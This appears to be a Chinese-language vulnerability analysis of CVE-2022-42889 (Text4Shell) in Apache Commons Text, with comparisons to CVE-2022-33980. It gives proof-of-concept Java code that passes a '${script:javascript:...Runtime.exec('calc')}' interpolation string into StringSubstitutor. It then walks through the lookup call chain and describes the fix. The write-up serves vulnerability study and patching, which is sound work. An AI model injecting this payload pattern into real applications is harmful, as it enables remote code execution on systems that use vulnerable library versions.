作者:標準云
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

漏洞簡介

image

Apache Commons Text 執行變量插值 (variable interpolation), 允許動態評估和擴展屬性。插值的標準格式是"${prefix:name}",其中 "prefix" 用于查找定位執行插值 org.apache.commons.text.lookup.StringLookup 的實例。從 1.5 版到 1.9 版,默認的 Lookup 實例集包括可能導致任意代碼執行或與遠程服務器聯系的插值器。

  • "script" - execute expressions using the JVM script execution engine (javax.script) 使用 JVM 腳本執行引擎(javax.script)執行表達式
  • "dns" - resolve dns records 解析 dns 記錄
  • "url" - load values from urls, including from remote servers 從 url 加載值,包括從遠程服務加載值

如果使用了不受信任的配置值,則在受影響版本中使用插值默認值的應用程序可能受到遠程代碼執行的影響。

我們發現漏洞 CVE-2022-42889 與 漏洞 CVE-2022-33980 描述基本相同,都是因為存在危險的插值器。兩個漏洞應該有異曲同工 之妙,對兩個漏洞依次進行復現并進行總結。

漏洞復現

image

創建 maven 項目,添加依賴

<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.9</version>
</dependency>
import org.apache.commons.text.StringSubstitutor;

public class CommonsTextDemo {
    public static void main(String[] args) {
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}");
    }
}

image

漏洞分析

畫出一整個的調試過程

image

Apache Commons Text 是一個專注于處理字符串的算法庫,它包含一組用于在 Java 環境中使用的處理文本的函數與可重用組件。

org/apache/commons/text/StringSubstitutor.java 描述了一些對字符串的處理方法

image

import org.apache.commons.text.StringSubstitutor;

public class CommonsTextDemo {
    public static void main(String[] args) {
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        System.out.printf(interpolator.replace("${sys:user.dir}"));
    }
}

image?

漏洞調試

org.apache.commons.text.StringSubstitutor#replace(java.lang.String)

image

對傳入 replace 的參數轉換類型后傳到 substitute 中處理

org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder, int, int)

image

org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder, int, int, java.util.List<java.lang.String>)

image

對參數進行檢驗判斷首字符是否為 $ 然后進行處理之后傳到 resolveVariable

image

org.apache.commons.text.StringSubstitutor#resolveVariable

image

獲取 getStringLookup() 的值 InterpolatorStringLookup 然后調用其 lookup 方法

org.apache.commons.text.lookup.InterpolatorStringLookup#lookup

image

根據 : 分割提取出 prefix 值 然后根據 stringLookupMap 提取其對應的 lookup 實例化對象

image

script 對應的是 ScriptStringLookup

org.apache.commons.text.lookup.ScriptStringLookup#lookup

image

再次根據 : 將表達式分割

image

CVE-2022-33980 一樣 dns 和 url 也屬于不安全的插值器

image

image

總結反思

首先是針對這個漏洞而言

createInterpolator 實例化了 StringSubstitutor 并向其中傳入 StringLookupFactory.INSTANCE.interpolatorStringLookup()

org.apache.commons.text.StringSubstitutor#createInterpolator

image

org.apache.commons.text.StringSubstitutor#StringSubstitutor(org.apache.commons.text.lookup.StringLookup)

image

是根據傳入的 StringLookup 去調用不同的方法 接著會到 InterpolatorStringLookup.java

所以直接調用 StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup() 就是調用 org.apache.commons.text.lookup.InterpolatorStringLookup#lookup

漏洞的利用也可以如此構造

import org.apache.commons.text.lookup.StringLookupFactory;

public class CommonsTextDemo {
    public static void main(String[] args) {
        StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup("script:javascript:java.lang.Runtime.getRuntime().exec('calc')");
    }
}

image

CVE-2022-33980CVE-2022-42889 都是對字符串的處理不當,最終都是調用了 ScriptStringLookup 對傳入的內容進行處理,本質上應該多關注 jar 本身的功能,有可能一些漏洞就存在于本身所對應的功能上。

漏洞修復

移除了不安全的插值器 scriptdnsurl

image


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1993/